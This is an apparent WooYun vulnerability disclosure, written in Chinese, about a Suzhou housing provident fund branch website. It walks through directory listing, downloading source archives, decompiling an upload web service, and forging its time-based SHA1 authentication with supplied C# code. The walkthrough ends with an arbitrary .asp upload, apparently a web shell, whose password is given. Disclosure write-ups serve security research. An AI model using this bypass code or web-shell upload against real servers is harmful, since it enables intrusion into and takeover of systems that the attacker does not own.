WooYun.org

这个漏洞很有意思，我在这里写了出来，希望大家学习
首先是苏州市住房公积金管理中心—张家港分中心的网站目录可便利
http://**.**.**.**/EpointBigFileUpload
然后里面的部分源代码可下载，
http://**.**.**.**/EpointBigFileUpload/EpointBigFileUpLoad.rar
http://**.**.**.**/EpointBigFileUpload/EpointBigFileUpLoad22.rar
发现soap的服务
http://**.**.**.**/EpointBigFileUpload/FCKFile/EpointFileServer.asmx
发现里面的有个上传的接口

用awvs的webserver导入

发现上传的那个接口需要验证密码：

于是我就利用下载的那两个压缩包
先去看那个asmx对应的是哪个dll文件

看到是EpointBigFileUpLoad这个dll文件
然后在bin文件夹里面找到
然后用ILSpy.exe 这个软件反编译.net
发现这个代码

追踪到ValidateEncrpytion这个函数：

这个就很好玩了
（1）首先他先获得当前的tickes 也就是dtTicks这个参数
微软官网对于ticks是这样定义的：
A single tick represents one hundred nanoseconds or one ten-millionth of a second. There are 10,000 ticks in a millisecond, or 10 million ticks in a second.
The value of this property represents the number of 100-nanosecond intervals that have elapsed since 12:00:00 midnight, January 1, 0001 (0:00:00 UTC on January 1, 0001, in the Gregorian calendar), which represents F:System.DateTime.MinValue. It does not include the number of ticks that are attributable to leap seconds.
（2）对dtTicks进行还原，还原为时间
（3）减去当前时间，如果大于5分钟，则返回false
(4)对还原之后的时间(也就是now参数)进行sha1加密
(5)最后和传递进来的encryption参数做对比，对比成功则返回true
然后我用c#实现了类似的功能

using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Practices.EnterpriseLibrary.Common;
using Epoint.Frame.Common;
namespace 实验	
{
    class Program
    {
        static void Main(string[] args)
        {
            DateTime now = DateTime.Now;
            now = new DateTime(Convert.ToInt64(DateTime.Now.Ticks));
            string a =EncryptOperate.SHA1Encrypt(now);
            Console.WriteLine(a);
            Console.WriteLine(DateTime.Now.Ticks);
        }
    }
}

然后把这个信息复制到
Uploadfile的接口上就可以任意上传了

上传成功
http://**.**.**.**/EpointBigFileUpload/FCKFile/6666.asp 密码：MH